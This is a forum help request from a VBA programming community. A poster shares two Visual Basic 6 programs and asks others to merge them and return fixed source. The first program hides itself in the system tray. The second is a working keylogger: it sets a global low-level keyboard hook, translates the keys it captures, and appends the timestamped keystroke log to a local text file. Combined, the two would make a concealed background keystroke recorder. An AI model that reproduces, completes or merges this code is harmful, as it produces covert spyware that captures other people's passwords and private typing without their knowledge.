2者不能同时运行?为什么?

yxs597985317 2012-01-02 01:43:15
这个是个后台程序



窗体

Private Sub Form_Load()

'以下把程序放入System Tray====================================System Tray Begin
With nfIconData
.hWnd = Me.hWnd
.uID = Me.Icon
.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
.uCallbackMessage = WM_MOUSEMOVE
.hIcon = Me.Icon.Handle
'定义鼠标移动到托盘上时显示的Tip
.szTip = App.Title + "(版本 " & App.Major & "." & App.Minor & "." & App.Revision & ")" & vbNullChar
.cbSize = Len(nfIconData)
End With
Call Shell_NotifyIcon(NIM_ADD, nfIconData)
'=============================================================System Tray End
Me.Hide
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Call Shell_NotifyIcon(NIM_DELETE, nfIconData)
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim lMsg As Single
lMsg = X / Screen.TwipsPerPixelX
Select Case lMsg
Case WM_LBUTTONUP
'MsgBox "请用鼠标右键点击图标!", vbInformation, "实时播音专家"
'单击左键,显示窗体
ShowWindow Me.hWnd, SW_RESTORE
'下面两句的目的是把窗口显示在窗口最顶层
'Me.Show
'Me.SetFocus
'' Case WM_RBUTTONUP
'' PopupMenu MenuTray '如果是在系统Tray图标上点右键,则弹出菜单MenuTray
'' Case WM_MOUSEMOVE
'' Case WM_LBUTTONDOWN
'' Case WM_LBUTTONDBLCLK
'' Case WM_RBUTTONDOWN
'' Case WM_RBUTTONDBLCLK
'' Case Else
End Select
End Sub



模块

Option Explicit
Public Const MAX_TOOLTIP As Integer = 64
Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_TIP = &H4
Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_RBUTTONDBLCLK = &H206
Public Const SW_RESTORE = 9
Public Const SW_HIDE = 0
Public nfIconData As NOTIFYICONDATA
Public Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * MAX_TOOLTIP
End Type
Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long



这个是个监视键盘的程序

窗体

Private Sub form_Load()

KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"
Module1.ints '初始化数据
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook) '程序退出时
Open "F:\新建 文本文档.txt" For Append As #1 '打开文本
Print #1, Module1.appStr '一次性记录
Print #1, "到" & Now() & "结束!" & vbCrLf
Close #1
End Sub
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me

End Sub



模块


Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化数据
appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl"
pos1 = Split(SBUF, "|"): ReDim pos2$(256)
For i = 0 To UBound(pos1) - 1
pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1)
Next
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
appStr = appStr & pos2(mymsg.vKey) & " "
End If 'FOR循环和判断结构完全去掉了,取而代之的是一个已经定义好的对应数组
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function




当我把他们放在一起时,不能正常工作,什么原因?那里冲突??帮看看,我没看出来,帮改下,谢谢... 最好给出改后的源码,, 谢谢...
...全文
78 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

2,462

社区成员

发帖
与我相关
我的任务
社区描述
VBA(Visual Basic for Applications)是Visual Basic的一种宏语言,是在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。
社区管理员
  • VBA
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧